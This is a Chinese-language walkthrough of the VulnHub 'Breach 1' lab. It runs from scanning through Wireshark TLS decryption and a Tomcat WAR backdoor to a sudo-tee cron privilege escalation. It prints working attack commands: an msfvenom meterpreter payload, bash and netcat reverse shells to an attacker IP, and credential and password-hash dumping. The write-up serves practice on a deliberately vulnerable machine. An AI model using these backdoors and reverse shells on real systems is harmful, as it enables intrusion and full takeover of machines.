VulnHub | Breach - 1
🌟 关注这个靶场的其它相关笔记:[网安靶场] 红队综合渗透靶场 —— VulnHub · 靶场笔记合集
Breach: 1 ~ VulnHubBreach: 1, made by mrb3n. Download & walkthrough links are available.https://vulnhub.com/entry/breach-1,152/
0x01:Breach - 1 靶场描述
0x0101:靶场简介
"Breach 1.0" 是一个适合新手到中级玩家的 boot2root/CTF 挑战。它要求参与者进行扎实的信息收集和坚持不懈的探索。该靶场的关键信息如下(好像没有目标嘿):
-
目标 VM 的静态 IP 地址是 192.168.110.140,需要将主机的仅主机适配器配置到该子网。
-
该靶场是该系列的第一个挑战,旨在提高参与者的渗透测试技能。
-
如果遇到问题,可以联系发布者,其 Twitter 账号为 https://twitter.com/mrb3n813
-
靶场提示用户可能需要使用 7zip 来解压 ZIP 文件。
0x0102:环境搭建
特别建议:渗透时采用 Kali Linux 2021 版,过高版本生成的反弹 Shell 会无法运行。
Download:https://download.vulnhub.com/breach/Breach-1.0.zip
该靶场的搭建十分简单,首先从上面的链接将靶机文件下载下来会解压,解压后得到两个文件:
然后使用 VMWare 打开上面那个 .ova 文件,它就会让你设置虚拟机名称和存放位置,你照着提示设置就行(都打这个靶场了,I Trust You),设置完成后虚拟机就装好了:
值得注意的是,该靶场的描述中说的很清楚,该虚拟机设置了静态 IP,且 IP 为 192.168.110.140,为了能成功的给该虚拟机分配 IP,我们还得设置一下 VMWare 的网络设置。
首先点击 VMWare 左上角的编辑,然后选择 “虚拟网络编辑器”,点击 “更改设置” 进入配置页面:
在该页面中我们需要设置子网 IP 为 192.168.110.0,并在 “DHCP 设置” 中修改起始 IP 和终止 IP 的范围为 192.168.110.128 ~ 192.168.110.254:
配置完成后修改 Breach 1 的网络适配器为 “仅主机模式”,另外我们再把一台 Kali Linux 也配置为仅主机模式(让 Kali 和 Breach 1 在同一个网段,方便后续反弹 Shell 啥的):
全部都配置完成后,我们可以拿 Kali Linux 尝试访问一下靶机(别忘了看一下自己 Kali 的 IP 哦):
如上,环境配置完成,现在,丢弃掉所有你已知的信息,开始我们的沉浸式渗透之旅。
0x02:Breach - 1 渗透流程
0x0201:Web 信息收集 —— 主机发现
渗透测试第一步,主机发现,看一下与攻击机同网段的有哪些崽崽(装作不知道靶机的存在),我们先看一下自己的 IP:
ip address
然后使用 Nmap 来进行局域网的主机发现:
nmap -sn 192.168.110.0/24
OK,这个局域网结构比较简单,我们很轻松确定了渗透目标的地址:192.168.110.140。
0x0202:Web 信息收集 —— 端口扫描
确定了目标后,我们来看看目标的端口开放情况,同样采用 Nmap:
nmap -A -v -p 0-65535 192.168.110.140
# -A => 自动探测目标服务的版本信息和操作系统信息,但其实会留下马脚
# -v => 运行中间会打印运行日志
# -p 0-65535 => 指定探测目标全端口
如上,可以看到,随便扫扫就发现目标开放了一堆端口,要知道一个服务对应一个端口,开这么多端口,它运行了 65535 个程序?大概率没有,应该是安装了安全设备,混淆了我们的视听。
0x0203:Web 信息收集 —— 页面信息收集
既然无法确定具体开放的端口,那么我们就先从最熟悉的 HTTP 80 端口开始渗透吧,访问目标的 80 端口:
http://192.168.110.140/
是一个小故事,讲述了一个受到公司压榨的崽崽,在离职前给公司拉了个大的。记住这个入侵排查小组的领导人的名字,Bill Lumbergh,后面要考。
查看当前页面源代码,可以看到网页源代码中有一串字符,疑似是某种加密算法:
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
经常打 CTF 的宝子们应该一眼定真 Base64 了,我们尝试使用 CyberChef 解密一下:
pgibbons:damnitfeel$goodtobeagang$ta
如上,解密出了一个 Key : Value 格式的字符串,但是暂时不知道它有啥用,我们继续信息收集。
0x0204:Web 信息收集 —— Employee portal ?
继续信息收集,如果你眼睛比较尖可以看到,当鼠标移动到那个老人的位置上时,鼠标会变成小手,意思是这是个超链接:
点击超链接,我们会来到一个,导航页面:
如上,可以看到导航页面上有一个 “Employee portal” 即员工门户的界面,我们进入看看:
如上,这是个 impresscms 框架,并且页面上有个登录框。此时,联想一下我们前面破解的 Base64 的那个 Key : Value 格式的值,Try Try,看看是不是账号密码:
账号: pgibbons
密码: damnitfeel$goodtobeagang$ta
如上,通过前面解密得到的账号密码,我们成功进入了员工门户,接下来,就是后台入侵啦。
0x0205:impresscms 信息收集 —— 获取 keystore 文件
要是 SRC,这可能就是结束了,但作为一个成熟的 Hacker,不以拿到控制权为目标的渗透,就是过家家。后台入侵的一般思路有两种:
-
历史漏洞梭哈:通过查找当前 CMS 公开的历史漏洞,查看有无可利用的方向。
-
敏感信息收集:通过收集用户敏感信息或者 CMS 的敏感接口,以社工方式获取 Shell。
这里我们优先采用第二种,进了后台你难道不想看看人家说了啥嘛 😏,优先查看 Inbox,为啥?因为它的颜色比较醒目:
先看第一个信息,“Posting sensitive content”,虽然没啥特别信息,但起码确定了我们当前查看的是哪个崽崽的信息:
继续,看第二个信息,“IDS/IPS system”,这其实是两个安全设备,莫非,靶机上搭载了?:
继续,看第三个信息,“FWD: Thank you for your purchase of Super Secret Cert Pro!”:
这个信息量有点大,简而言之,我们似乎会获得一个 SSL 证书?SSL 一般是与 HTTPS 配合使用的,不管了,先访问它提供的地址:
http://192.168.110.140/.keystore
访问完成后,我们会下载一个 .keystore 文件,笔者将其重命名为了 breach.keystore,该文件中疑似存放了一个 SSL 证书,但是,暂时不知道咋用(保留):
0x0206:impresscms 信息收集 —— 获取攻击流量包
继续对 impresscms 后台进行信息收集,总之就是全部点一遍,特别留意当前用户发送或者接收的信息,注意了,这一步一定要耐心。最终经过我们的不屑努力,会在 ”View Account“ 菜单中发现下面这个内容:
点击进入 ”SSL implementation test capture“ :
这个里面信息量有点大,总结下来有以下几点:
-
它们红队重现了 Hack 攻击,并且上传了一份 pcap 流量包,地址如下:
-
http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
-
-
pcap 流量包中流量被加密了,Peter Gibbons 无法对其解密(水货?)
-
有人告诉 Peter Gibbons,alias、storepassword 和 keypassword 都叫 tomcat。
一个一个利用吧,我们先把 pcap 流量包下载下来,因为这个流量包是 Hack 攻击流量包,所以我们完全可以根据流量包的信息重现攻击流程,对目标进行渗透:
0x0207:流量包数据分析 —— TLSv 1.2 的前世今生
pcapng 是一个流量包,我们需要借助 WireShark 对其进行分析。使用 WireShark 加载我们刚刚下载下来的流量包,随便翻翻:
流量包中有 UDP、TCP、TLSv1.2 协议的内容,我们着重了解一下 TLSv1.2。顺便补充一个小知识点,即 HTTPS & SSL & TLS 协议的关系:
知识拓展:HTTPS & SSL & TLS 协议的关系
HTTPS(Hyper Text Transfer Protocol Secure)协议可以简单理解为 HTTP + SSL/TLS,即它采用 HTTP 传输数据,但为了确保数据的安全,所以会用 SSL/TLS 来对数据进行加密。
SSL(Secure Sockets Layer)和 TLS(Transport Layer Security)是互联网中用于保障网络通信安全的两种协议,TLS 是从 SSL 发展而来的。
SSL 协议是 1994 年由网景公司开发的,随着不断发展,在 SSL 3.0 的时候发现该协议中存在一些安全漏洞,后就换成了 TLS 1.0,现在通过不断迭代就有了 TLS 1.2、TLS 1.3。
如上,可以发现 TLS v1.2 实际上就是从 SSL 发展而来的,所以我们捕获的流量包中的 TLSv1.2 协议的流量说白了就是被加密的流量,既然有加密,那肯定能解密,解密我们就需要用到一组密钥。
0x0208:流量包数据分析 —— keystore 导出 SSL 证书
那么如何利用 WireShark 解密 HTTPS 流量呢,可以参考下面这篇文章(笔者也是边做边搜的):
Wireshark解密HTTPS流量的两种方法 - 豫让 - 博客园原理 我们先回顾一下SSL/TLS的整个握手过程: Clienthello:发送客户端的功能和首选项给服务器,在连接建立后,当希望重协商、或者响应服务器的重协商请求时会发送。 version:客户端支持的最佳协议版本 Random:共32字节,28字节随机数,4字节额外信息,受客户端时钟影响(为了避
https://www.cnblogs.com/yurang/p/11505741.html
通过阅读文章,可以看到,他是通过在 WireShark 的配置中导入了 SSL 证书来进行解密的,且该证书的后缀为 .p12
:
那么问题来了,这个 .p12
证书我们咋看?还记得我们前面收集的 .keystore
文件吗,这其实就是个存储密钥(公钥、私钥)的容器(这个也是笔者做的时候才了解到的,我们很多时候做题就是这样,边做边学,还要快速学习):
https://zhuanlan.zhihu.com/p/4482221835
https://zhuanlan.zhihu.com/p/4482221835
从上面那篇文章中我们可以了解到,操作 .keystore 文件我们需要用到 keytool 这个工具,该工具是安装完 Java 环境后自带的,Java 的环境配置可以参考下面这篇文章:
参考资料 🚀:Java · 初窥门径 —— Java 环境配置
通过下面这个命令,我们可以列出密钥库中的条目内容,列出密钥库条目是需要密码的,但从前面的信息收集中我们已经得知了密码是 tomcat:
### 通过 keytool 列出密钥库中的条目信息
keytool -list -keystore breach.keystore -storepass tomcat
# -list => 列出
# -keystore <keystore_file> => 指定要操作的密钥库
# -storepass <password> => 密钥库的解密密码
如上,可以看到,密钥库中确实有一个证书,盲猜就是我们需要的 SSL 私钥证书,可以用来解密 TLS 流量的。我们此时可以输入下面的内容,将证书从密钥库中导出:
### 将密钥库中的条目从 JKS 格式转换为 PKCS12 格式,并更改别名
keytool -importkeystore -srckeystore breach.keystore -destkeystore breach.p12 -srcstoretype JKS -deststoretype PKCS12 -srcstorepass tomcat -deststorepass tomcat -destkeypass tomcat -srcalias tomcat -destalias breach
# -srckeystore breach.keystore => 源密钥库文件
# -destkeystore breach.p12 => 目标密钥库文件
# -srcstoretype JKS => 源密钥库类型为JKS(Java默认格式)
# -deststoretype PKCS12 => 目标密钥库类型为PKCS12(跨平台通用格式)
# -srcstorepass tomcat => 源密钥库密码
# -deststorepass tomcat => 目标密钥库密码
# -destkeypass tomcat => 目标条目(私钥)密码
# -srcalias tomcat => 源密钥库中的别名
# -destalias breach => 目标密钥库中的新别名
OK,如上,我们成功从 .keystore 文件中导出了我们需要的 SSL 私钥证书(公私钥加密了解一下)。
0x0209:流量包数据分析 —— WireShark 解密 HTTPS 流量
有了 SSL 的私钥证书,我们就可以使用 WireShark 对 TLSv1.2 协议流量(也就是 HTTPS 的加密流量)进行解密了。首先在 WireShark 页面上选择 “编辑”,点击 “首选项” 菜单:
在 “首选项” 菜单中找到 Protocols (协议)选项:
然后就在这个 Protocols 里找到 TLS 协议(因为我们要解密的是 TLS v1.2 的流量嘛),点击 Edit:
然后将我们刚刚拿到的 SSL 私钥证书导入进去,配置如下:
配置完成后,你就会看到,解密出了一堆 HTTP 请求:
0x0210:流量包数据分析 —— HTTP 攻击链路还原
筛选出流量中的 HTTP 协议,然后追踪一下,可以看到如下内容:
一眼定真,攻击者登录了一个后台,我们把 200 的那个 HTTP 请求响应的 HTML 代码当下来看看:
如上,可以看到,当下来的 HTML 的内容很明显就是一个 Tomcat 的后台页面。那么接下来,思路很清晰了,我们也去请求服务端的那个 Tomcat 的后台页面看看:
https://192.168.110.140:8443/_M@nag3Me/html
0x0211:攻击链路还原 —— 访问目标 Tomcat 后台
很遗憾的是,使用自带的浏览器,我们访问上面的地址,他会提示这个内容:
无法访问该站点?一般这种情况,小白可能就以为,目标没有开启这个服务,或者我们网断了?但其实不是,这是由于靶机的 SSL 证书的问题:
当我们访问某个站点时,浏览器会先拿到服务器的证书文件,该文件可以证明这个服务器是真实的服务器,没有被伪造,然后浏览器会去校验该证书文件的准确性,如果证书有问题,现在的浏览器就会直接组织用户对其进行的访问,也就会出现上面展示的内容。
那么解决思路其实比较简单,有两种:
-
不推荐:降低浏览器的安全级别(这个说实话,笔者也不会,但也不建议这么做)。
-
推荐:使用代理浏览器,只要确保证书正确就可以了。
我们可以采用 BurpSuite 自带的浏览器对目标发起访问,因为 BP 浏览器中间隔了个 BP,BP 会将服务端发送过来的数据,用自己的证书签名后发送给客户的浏览器,而 BP 证书是没有问题的,所以客户的浏览器就会认可这个信息,自然客户端的浏览器就会允许访问目标站点了:
理论成功,BP 启动 !! 使用 BP 内置浏览器访问目标 Tomcat 后台地址:
https://192.168.110.140:8443/_M@nag3Me/html
如上,使用 BP 内置浏览器访问攻击者提供的地址,果然,访问成功,但是弹出了一个认证弹窗,这就是下一步我们要攻破的内容。
0x0212:数据包流量分析 —— HTTP Basic 认证
像这种一个弹窗弹出来,让你输入账号密码的,在如今来看不是很常见,这其实是 HTTP Basic 认证,关于 HTTP Basic 认证,读者可以参考下面这个地址:
HTTP认证之基本认证——Basic(一) - xiaoxiaotank - 博客园导航 HTTP认证之基本认证——Basic(一) HTTP认证之基本认证——Basic(二) HTTP认证之摘要认证——Digest(一) HTTP认证之摘要认证——Digest(二) 一、概述 Basic认证是一种较为简单的HTTP认证方式,客户端通过明文(Base64编码格式)传输用户名和密码到
https://www.cnblogs.com/xiaoxiaotank/p/11009796.html
其它内容笔者都没咋看,笔者一眼定真 “客户端通过明文(Base64 编码格式)传输用户名和密码到服务端进行认证”:
通过上面的描述可以得知,认证是明文认证,联想一下我们刚刚捕获的流量包,里面铁有正确的账号密码:
tomcat:Tt\5D8F(#!*u=G)4m7zB
使用上面得到的账号密码,我们尝试登录一下:
账号: tomcat
密码: Tt\5D8F(#!*u=G)4m7zB
如上,成功进入靶机的 Tomcat 后台,众所周知,Tomcat 后台可以用来部署项目,比如 。。。部署一个后门项目?
0x0213:Tomcat 后台渗透 —— 反弹 Shell 的坎坷之路
1. Kali Linux 版本过高引起的灾难
笔者一开始挖掘到这个后台后,第一时间其实就想用 Kali Linux 的 MSF 生成一个 War 的 Java 后门项目,然后部署上去 Get Shell,但是很遗憾,部署后访问是下面这个结果:
后面收集信息得知,是 Kali Linux 2024 版本太高了,用它的 MSF 生成的 WAR 项目在这个 Tomcat 6.0.39 的版本上无法运行 。。。。 这不寄了嘛,然后笔者就走上了另外两条不归路。
2. AntSword & 冰蝎 & 哥斯拉 Get Shell 无果
当时因为测试使用 Kali Linux 2024,我嫌切换系统 + 配置环境太麻烦,果断换工具,想先用 AntSword 啥的 Get 个 Shell 看看。为此我看了不少文章:
AntSword & 冰蝎 —— 参考资料
纯 WebShell 无管理工具版的:Tomcat后台部署war木马getshell
Tomcat 弱口令爆破 + 部署 War 后门:Tomcat弱口令爆破+war部署getshell
AntSword Java 木马:渗透测试 - jsp一句话大马小马 &&冰蝎(2025/3/13更新)
AntSword Java 木马:蚁剑jsp一句话木马
AntSword War 包木马制作:一个有意思的双层内网渗透实验
冰蝎使用流程:webshell管理工具-冰蝎(Behinder)的安装和基础使用(msf联动,流量特征)
备注:默认密码
rebeyond
冰蝎 Java lang.Exception 问题解决:切换 Java 11 版本
参考链接:解决冰蝎4.1连接webshell报错问题
冰蝎 Javax.net.ssl.SSLHandshakeException 问题解决:
javax.net.ssl.SSLHandshakeException报错问题解决方法(亲测有效)-CSDN博客
【Java】已解决:javax.net.ssl.SSLHandshakeException: SSL-腾讯云开发者社区-腾讯云
反正看下来和试下来,一个能用的没 😂,当你把 WebShell 传上去后,部分是能直接使用的,但是每过一段时间,你再访问,它就显示 Not Found(这个后面要考)。
反正总而言之,没啥好用的 WebShell,不过也学到了点东西,比如如何把 JSP 打包成 War 包上传:
-
编写 test.jsp 文件,并将该文件放到一个文件夹中,比如 Test 文件夹。
-
进入 Test 文件夹,输入下面的内容,即可把 Test 文件夹下的内容打包为 War 包:
jar -cvf ant.war .
3. 向命运低头 —— 降低 Kali Linux 版本成功 Get Shell
最后没办法,笔者去下载了一个 Kali Linux 2021 的版本,Kali 的历史版本下载路径如下:
Kali 历史发布版本下载:Index of /kali-images/
然后把该系统配置到了渗透的局域网中(配置流程开头给了),并使用下面的命令通过该系统生成一个 WAR 的后门文件:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.150 lport=7777 -f war -o shell.war
然后在 Kali Linux 的 MSF 中输入下面的命令,开启 Shell 的接收端:
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.150
set lport 7777
run
然后,我们把刚刚获得的 War 包后门部署到 Tomcat 上并访问即可:
如上,现在我们已经成功拿到了靶机的 Shell 了,那么接下来就要进入我们的主机渗透环节了。
0x0214:Linux 主机渗透 —— 半交互 Shell => 交互式 Shell
现在我们已经拿到靶机的一个低级的控制权了,但我们渗透的目标是 Root,所以接下来就需要开始进行提权了,我们先看看当前我们是啥权限:
getuid
如上,一个平平无奇的 tomcat6,输入下面的命令进入半交互式 Shell 中(有时候也是直接进入交互式 Shell):
shell
如上,向上面这种 Shell,前面没有提示符的,笔者喜欢称其为半交互式 Shell,这种 Shell,虽然也能执行命令,并且返回结果,但当我们想要运行比如 vim 这种需要多次交互的命令时,上面这种 Shell 其实是不支持的,此时我们可以通过下面这个命令,对 Shell 进行美化一下:
python -c 'import pty; pty.spawn("/bin/bash")'
如上,美化后的 Shell 是不是好看很多,并且在这种模式下我们是能够完成很多交互操作的,虽然表现不如真正的用远程工具连接的那么好,但也不至于很差。
0x0215:Linux 主机渗透 —— 失败的内核提权
参考资料 🚀:Linux 提权 — 系统内核溢出漏洞提权
提权的默认思路,先确定靶机的系统型号,看看有没有啥内核漏洞可以直接提权的:
uname -a # 查看内核版本
如上这是个 Ubuntu 的系统,内核版本是 4.2.0 我们根据此信息去 MSF 中搜索利用脚本看看:
searchsploit Ubuntu 4.2.0
笔者测试了如下这么多的脚本,反正一个能用的都没:
47169.c
43418.c
44300.c
44298.c
45010.c
45553.c
41886.c
41995.c
15962.c
那内核漏洞没搞头了,下面还有啥思路 ?有的兄弟有的,那么多想法呢:
-
在当前用户的工作路径,和其他路径中查找敏感信息。
-
通过 history 命令查看当前用户历史执行的命令。
-
通过
sudo -l
查看当前用户可以执行的的 sudo 命令(Sudo)提权。
不过由于当前用户是个 tomcat6 明显只是专门为部署 Web 服务新建的用户,所以其 history 是没啥了,估计它也没工作路径,Sudo 就更别提了。但是呢,环节虽然恶劣,但也不是啥都不能做,继续收集一波信息。
0x0216:Linux 主机渗透 —— 主机用户信息收集
众所周知 Linux 系统中的 /etc/passwd
中存放了所有用户的信息,且该文件,任意用户可读,我们先来看看这个系统有些谁,特别留意那些可以登录的用户:
cat /etc/passwd
简单分析一下,当前系统中有这么几个可疑的账号(/etc/passwd
中那些 nologin
就是无法登录的用户,这些可以不用管):
root:x:0:0:root:/root:/bin/bash
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash
这几个崽崽都是可以登录的呀,这个 blumergh 有没有感觉眼熟 ?他不就是那个 Leader 嘛(不眼熟的重新回去看看故事)。
0x0217:Linux Web 用户渗透 —— Tomcat Web 目录信息挖掘
我们当前用户是啥 ?是 tomcat6 !这是个啥用户 ?这是个管理 Web 服务的用户 !那很自然的 Tomcat6 应该是有权限访问 Web 目录的吧,写过 PHP 或者搭建过服务器的崽崽应该比较清楚,我们经常会把数据库的连接密码写到一个文件中,然后在项目里需要与数据库建立连接的地方再引用该文件,所以呢,我么去 Web 目录下探探宝 !!
该站点是采用 Apache Tomcat 配置的,所以默认情况下,其 Web 目录为:
/var/www/html
如上,来到 /var/www
会发现一些奇怪的东西,进去看看,进入后会发现几个奇怪的文件:
先看第一个:
cat 0d*
如上中大奖了,拿到了目标机器的数据库账号密码,还是 root 级别的,第二个文件笔者也看了,其实也是数据库的账号密码,这里就不做展示了。
0x0218:数据库信息挖掘 —— 数据库系统用户密码获取
既然靶机上有 MySQL(这个在 /etc/passwd 中出现过),我猜其应该也有对应的工具,我们使用下面的命令尝试连接一下数据库(密码直接按 Enter 代表空即可):
mysql -u root -p
如上,直接进入靶机的数据库中,我们知道数据库里会有很多表,特别是像这种装了 CMS 的,表中铁有诸如 “员工信息” 之类的内容,这里面估计又会有员工的密码 。。。 实战中,我们完全可以对其进行拖库,然后批量跑密码(不建议这么做,除非你想吃国家饭)。
除了 CMS 系统中的用户外,我们知道,MySQL 内部也有自己的用户,比如我们现在使用的 root 用户就是数据库用户,而这些用户就储存在 mysql 数据库中:
参考资料 🚀:SQL 注入漏洞 —— MySQL 数据库概述
show databases;
输入下面的命令可以设置当前使用的数据库,比如 mysql 数据库:
use mysql;
然后我们来查看一下 mysql 数据库中的表有哪些(这些在 SQL 注入的章节中应该都是学过的,笔者这么写自己都觉得有点啰里啰唆了):
show tables;
如上可以看到 mysql 数据库中有一个 user 表,我们输入下面的命令查看一下表结构:
describe user;
如上,可以看到,这个 user 表的字段还挺多的,不过我们就单纯关注用户的账号和密码:
select user,password from user;
如上,一眼定真,密码是通过 md5 加密的,特别留意用户名,milton ?这个不是 /etc/passwd 中的一个用户嘛 ?看来我们必定要爆破它的密码了,情绪烘托到这里了:
milton : 6450d89bd3aff1d893b85d3ad65d2ec2
访问下面的站点,将密文给它,最终破解出来的明文如下:
thelaststraw
MD5免费在线解密破解_MD5在线加密-SOMD5MD5在线免费破解,支持md5,sha1,mysql,sha256,sha512,md4,织梦,vBulletin,Discuz,md5(Joomla),mssql(2012),ntlm,md5(base64),sha1(base64),md5(wordpress),md5(Phpbb3),md5(Unix),des(Unix)等数十种加密方式
https://www.somd5.com/
0x0219:Linux 权限提升 —— 数据库弱口令
在上一阶段中,我们通过一个在线网站,成功破解了对方数据库中 milton 用户的密码,而且,十分凑巧,我们当前渗透的 Linux 系统中,就有这个用户。根据用户的习惯(多个不同系统采用同一个密码体系),我们可以 Try Try,在我们获得的 Shell 中输入下面的命令:
su milton
如上,通过破解的密码,我们成功登上了 milton 的账号,从一个无 Shell 的用户进入了一个有 Shell 的用户,咋不算是一种提权呢?
0x0220:Linux 主机用户渗透 —— 历史命令挖掘
一开始我们获得的 Shell 是 Tomcat6 的,这是个管理 Web 应用的账户,没有 home 目录(一般 history 也是放在 home 目录下的),所以其没有 history 很正常。
但是现在,我们渗透的用户是主机系统中真实存在的用户,它是有 home 目录的,自然也是有 history 的,所以为了,确保现场的完整,笔者建议,先看看这个崽崽之前运行了些啥:
history
如上,很扎眼的信息是 su root
和 su blumbergh
这两条,证明了我们当前拿到的用户应该是有这两个用户密码的,继续思考人性 。你说有没有一种可能,milton 会把这两个人的密码存放在这台机器上,并且防止自己忘记 ?(其实在实战中,比如网管,它要管那么多电脑的账号密码,你说它会不会有小本本记录?如果你拿到了这个小本本 。。。。 不敢想想。)
0x0221:Linux 主机用户渗透 —— 用户主目录信息收集
上面都是臆想,整点实在的,去看看 milton 用户的主目录:
主目录没啥东西,一个 sh 脚本和一个 jpg,jpg 笔者下载下来看过了,啥也没,是一个小胖子,你问我这种情况下咋从靶机下载东西 ? 可以参考下面这个文章:
参考资料 🚀:隧道代理 — 反弹 Shell - NetCat(NC) 反弹 Shell
我们查看一下 sh 文件中的内容:
cat some_script.sh
哇哦,好惊喜哦,确实是啥都没有,不过这也证明了,我们的每一步操作都在作者的预料之中 😂。
0x0222:图片隐写豪取 Bill Lumbergh 用户权限
到上面那里,一般情况下已经没啥思路了,内核漏洞没有、SUDO 权限没有(这个是笔者偷偷测的),然后 SUID(这个笔者倒是没测,不过我猜也没,哈哈哈实战还是要测一下的)?
这里是一个脑洞题,我们当前拿到的用户是 milton,通过其 history 发现了该用户曾经登录过 root 和 blumbergh 这两个用户的账号,针对 blumbergh 你有没有好奇一下 ?它不就是提示里那个崽崽嘛:
它的全名是 Bill Lumbergh
,如果你前期对靶机做过目录扫描,会发现下面这个路径:
http://192.168.110.140/images/
访问上面那个路径,是一个图片文件夹的路径遍历,且文件夹中有个图片正好叫 bill.png,Bill Lumbergh ? :
将这个图片下载下来,利用 strings 这个工具就可以从中提取出 Bill Lumbergh 的账号密码:
coffeestains
关于 Strings 这个工具,它其实就是从二进制文件中打印出可打印字符的一个工具,做 CTF 时经常用,你也可以用 010Editor 也是一眼定真。
如上,我们通过 Strings 提取出来的那个字符就是 Bill 的密码,我们尝试切换到 blumbergh 这个用户的账号上看看:
su blumbergh
如上,切换成功 😂,咋说呢 ?是有提示,但是你就是放到 millon 用户主目录上我都会想想,结果你放到了公共资源目录下,这可还行 ?对于脑洞题,只能说,出题人高兴就好。
0x0223:Linux 主机用户渗透 —— 历史命令挖掘
继续,现在我们已经拿到了 Bill Lumbergh 账户的控制权了,老样子,看看它的历史命令:
history
如上,还是比较简单的,Bill Lumbergh 看了一下 /usr/share/cleanup 下的 tidyup.sh 文件,我们也看看这是个啥:
cat /usr/share/cleanup/tidyup.sh
这是个 Hacker 防御脚本,它每三分钟运行一次,会把 Hacker 的恶意程序给删除掉 。。。 这就是为啥,我们在 Tomcat 中部署后门时,每隔一段时间再次访问就会显示 Not Found 的原因。
0x0224:Linux 信息收集 —— 定时任务信息
参考资料 🚀:Linux 提权 & 维持 — 系统错误配置提权 - 计划任务提权
查看 tidyup.sh 脚本内容,发现其每三分钟运行一次,这不就是定时任务嘛,那么接下来,我们来顺水推舟,看看当前机器的定时任务有没有啥 Bug,输入下面的命令,查看系统中已有的定时任务:
cat /etc/crontab
emmmm,啥也没有,居然没有看到关于 tidyup.sh 的定时任务 ?不过这也正常,因为 /etc/crontab
是系统范围内的 crontab 文件,每个用户还有自己的定时任务文件呢,没有就没有吧,反正从渗透感觉来看,那个 tidyup.sh 确实是运行了的。
我们再来看一下 tidyup.sh 的归属(我们不就是想用 tidyup.sh 结合定时任务提权嘛,那肯定得看看我们有没有对其的编辑权限咯):
ls -al /usr/share/cleanup/
炸缸了,我们对其也就拥有可读可执行的权限 。。。 不可编辑。OK,作为一个成熟的 Hacker,你得换个思路了,想想怎么绕过这个权限 。。。 让我们可写 ?
0x0225:Linux 权限提升 —— SUDO + 定时任务 提权
参考资料 🚀:Linux 提权 & 维持 — 系统错误配置提权 - Sudo 滥用提权
别忘了,我们还有 SUDO 提权,SUID 提权呐,首先输入下面的命令,看看我们当前用户可以使用 Sudo 执行的命令:
sudo -l
哎哟 ?我们当前用户(blumbergh)可以无密码的以 Root 身份运行下面这个命令:
sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
OK,压制一下激动的心,看一下 tee 命令有啥用:
Linux tee命令 | 菜鸟教程Linux tee命令 Linux 命令大全 Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。 语法tee [-ai][--help][--version][文件...] 参数: -a或--append 附加到既有文件的后面,而非覆盖它. -i或--ignore-interrupts 忽略中断信号。 --help 在线帮助。 -..
https://www.runoob.com/linux/linux-comm-tee.html
简而言之,tee 命令会接收用户的输入,并将输入输出到用户后面指定的文件中,看下面这个例子:
tee hack.txt
我们继续多想一步,通过 tee <file>
的形式我们是能接收用户的输入,并把输入流导入到 file 中,那我们有没有其他更优雅的导入方式呢 ? Linux 的管道符了解一下 ?它能把前面命令执行的结果的输出,作为后面命令执行的输入 !!
1. Bash 反弹 Shell —— 失败
笔者备注:Bash 反弹 Shell 没用,但是后面的 NC 反弹 Shell 可以。
使用管道符,我们可以先将反弹连接写入到一个 txt 文件中,然后把该 txt 作为输入,输出到 tidyup.sh 脚本中:
echo "bash -i >& /dev/tcp/192.168.110.150/8888 0>&1" > shell.sh
然后把 shell.sh 作为输入,利用管道符,将内容输出到 tidyup.sh 中:
cat shell.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
如上,我们再次查看 tidyup.sh 中的内容,确实变成了反弹 Shell 的内容,此时我们在攻击机上使用 NC 接收一下 Shell,最多等待三分钟,靶机就会以 Root 权限上线:
nc -lvp 8888
emmm,怪尴尬的,Bash 反弹 Shell 失败了,俺寻思俺命令也没毛病呀,我甚至还拿 blumbergh 这个用户主动运行了一次,成功了,但是为啥自动运行就失败捏。
2. Netcat 反弹 Shell —— 成功
参考资料 🚀:隧道代理 — 反弹 Shell - NetCat(NC) 反弹 Shell
除 Bash 反弹 Shell 外,我们其实有 NC 反弹 Shell,老样子把 NC 反弹 Shell 的脚本写到 shell.sh 中:
echo "nc -e /bin/bash 192.168.110.150 8888" > shell.sh
然后把 shell.sh 作为输入,利用管道符,将内容输出到 tidyup.sh 中:
cat shell.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
然后老样子,攻击机开启监听,等待靶机定时任务执行,反弹 Shell:
如上,成功 Get Root 权限,老样子,使用下面的命令美化一下终端:
python -c 'import pty; pty.spawn("/bin/bash")'
0x0226:夺取渗透目标 —— .flag.txt
现在我们已经是 Root 用户了,已经是顶级权限了,但别忘了我们的目标 flag。一般 flag 其实都会放到 root 用户的主目录下:
ls /root
如上查看 root 主目录,只有一个 flair.jpg,难道这是一个没有 flag 的靶场嘛 ?其实并不是,只是 flag 被隐藏了而已:
ls -al /root
都到这了,看看 .flag.txt 里的内容吧:
cat /root/.flag.txt
0x03:Breach - 1 参考资料
KeyStore是什么-CSDN博客文章浏览阅读1.4w次,点赞13次,收藏45次。简述What is the purpose of keystoreKeyStore是一个存储库,可用于存储一系列密钥(Secret Key)、密钥对(Key Pair)或证书(Certificate)。密钥:只有一个钥,一般是对称加密时使用。密钥对:包含公钥(Public Key)和私钥(Private Key),一般是非对称加密时使用。KeyStore可以设置密码。密钥、密钥对、证书在KeyStore统称为Key,每一个Key通过alias(别名)区分。Key也可以设置密码。JKS(J_keystore
https://blog.csdn.net/qq_31772441/article/details/119525532